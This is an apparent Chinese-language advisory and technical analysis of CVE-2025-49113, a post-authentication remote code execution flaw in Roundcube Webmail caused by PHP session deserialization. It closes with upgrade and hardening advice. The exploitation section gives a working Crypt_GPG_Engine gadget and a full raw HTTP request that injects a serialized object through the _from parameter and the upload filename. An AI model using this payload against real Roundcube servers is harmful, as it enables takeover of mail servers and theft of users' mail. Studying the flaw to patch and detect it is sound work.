CVE-2025-49113 – Roundcube中通过PHP对象反序列化实现认证后远程代码执行
概述
在Roundcube Webmail(版本<1.5.10和1.6.0–1.6.10)中发现了一个严重漏洞,允许认证用户通过PHP对象反序列化缺陷执行远程代码。该漏洞由program/actions/settings/upload.php中_from参数的不当验证触发,CVSS 3.1评分为9.9(严重)。
CVE ID: CVE-2025-49113
严重程度: 严重
CVSS评分: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
EPSS评分: 0.00661
EPSS百分位: 70%(可能被利用)
发布日期: 2025年6月1日
受影响版本: 所有1.5.10之前版本,1.6.11之前版本
已修复版本: 1.5.10, 1.6.11
技术分析
Roundcube团队在版本1.6.11中引入了修复补丁:
https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
添加了对_from参数的清理,防止其包含无效字符(如.、-等):
1
2
3
4
5
6
7
8
9
10
11
|
// Validate URL input.
if (!rcube_utils::is_simple_string($type)) {
rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
$rcmail->output->command('display_message', 'Invalid input', 'error');
$rcmail->output->send('iframe');
}
public static function is_simple_string($input)
{
return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
}
|
我们可以使用易受攻击的版本1.6.10来查找漏洞点:
https://github.com/roundcube/roundcubemail/blob/1.6.10/
文件program/actions/settings/upload.php包含以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// Plugins in Settings may use this file for some uploads (#5694)
// Make sure it does not contain a dot, which is a special character
// when using rcube_session::append() below
$type = str_replace('.', '-', $type);
if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
$id = $attachment['id'];
// store new file in session
unset($attachment['status'], $attachment['abort']);
$rcmail->session->append($type . '.files', $id, $attachment);
|
用户控制的参数_from被赋值给$from变量。$from随后用于从字符串中移除add-或edit-前缀。$type随后用于将文件附加到会话:
1
|
$rcmail->session->append($type . '.files', $id, $attachment);
|
rcube_session的append方法如果会话在最后0.5秒内未重新加载,则会调用reload()方法:
1
2
3
4
5
6
7
8
|
public function append($path, $key, $value)
{
// re-read session data from DB because it might be outdated
if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
$this->reload();
$this->reloaded = true;
$this->start = microtime(true);
}
|
reload方法调用session_decode,最终通过执行$_SESSION = array_merge_recursive($_SESSION, $merge_data);
将附加数据添加到会话:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
public function reload()
{
// collect updated data from previous appends
$merge_data = [];
foreach ((array) $this->appends as $var) {
$path = explode('.', $var);
$value = $this->get_node($path, $_SESSION);
$k = array_pop($path);
$node = &$this->get_node($path, $merge_data);
$node[$k] = $value;
}
if ($this->key) {
$data = $this->read($this->key);
}
if (!empty($data)) {
session_decode($data);
// apply appends and unsets to reloaded data
$_SESSION = array_merge_recursive($_SESSION, $merge_data);
|
Roundcube中有自定义的serialize和unserialize函数重写,这使得利用更加困难:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/**
* Serialize session data
*/
protected function serialize($vars)
{
$data = '';
if (is_array($vars)) {
foreach ($vars as $var => $value) {
$data .= $var . '|' . serialize($value);
}
} else {
$data = 'b:0;';
}
return $data;
}
|
序列化对象在会话中被|字符分割。Unserialize函数错误处理!字符,导致会话损坏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
/**
* Unserialize session data
* https://www.php.net/manual/en/function.session-decode.php#56106
*
* @param string $str Serialized data string
*
* @return array|false Unserialized data
*/
public static function unserialize($str)
{
$str = (string) $str;
$endptr = strlen($str);
$p = 0;
$serialized = '';
$items = 0;
$level = 0;
while ($p < $endptr) {
$q = $p;
while ($str[$q] != '|') {
if (++$q >= $endptr) {
break 2;
}
}
if ($str[$p] == '!') {
$p++;
$has_value = false;
} else {
$has_value = true;
}
|
网络安全研究员Kirill Firsov发现了这个漏洞,并在他的博客中解释了如何发现和利用该漏洞。
利用步骤
利用此漏洞并不容易。需要自定义PHP对象反序列化并将有效负载放入两个不同的参数_from和filename中。
可以使用Crypt_GPG_Engine类来构建对象反序列化小工具。该类的私有成员_gpgconf在proc_open函数中使用,因此可以更新它以执行攻击者控制的命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private function _closeIdleAgents()
{
// Note: We check that this binary is executable again for security reasons
if ($this->_gpgconf && is_executable($this->_gpgconf)) {
// before 2.1.13 --homedir wasn't supported, use env variable
$env = ['GNUPGHOME' => $this->_homedir];
$cmd = $this->_gpgconf . ' --kill gpg-agent';
if ($process = proc_open($cmd, [], $pipes, null, $env)) {
proc_close($process);
}
}
}
class Crypt_GPG_Engine{
private $_gpgconf;
function __construct($cmd){
$this->_gpgconf = $cmd;
}
}
|
利用脚本可以在GitHub仓库中找到:https://github.com/fearsoff-org/CVE-2025-49113
根据Kirill的描述,最终结果如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242
-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png
IMAGE
----------------------------- WebKitFormBoundary--
|
影响
远程代码执行:认证用户可能能够在Web服务器级别执行系统命令。
完全系统妥协:由于攻击者代码在Web服务器下运行,访问可能扩展到数据库、邮箱和文件系统。
高利用率:CVSS 9.9和EPSS超过70百分位,这使其成为2025年最严重的漏洞之一。
缓解和修复
立即升级:
- 检查您的Roundcube版本:版本1.5.9或更早,以及1.6.0–1.6.10易受攻击。
- 立即升级到1.5.10或1.6.11。
审计日志和文件上传:
分段和最小权限:
- 在有限权限下运行Webmail,避免直接暴露在互联网上。
修补捆绑安装:
- 供应商提供的版本(cPanel、Plesk)可能不会自动更新–手动验证和应用补丁。
参考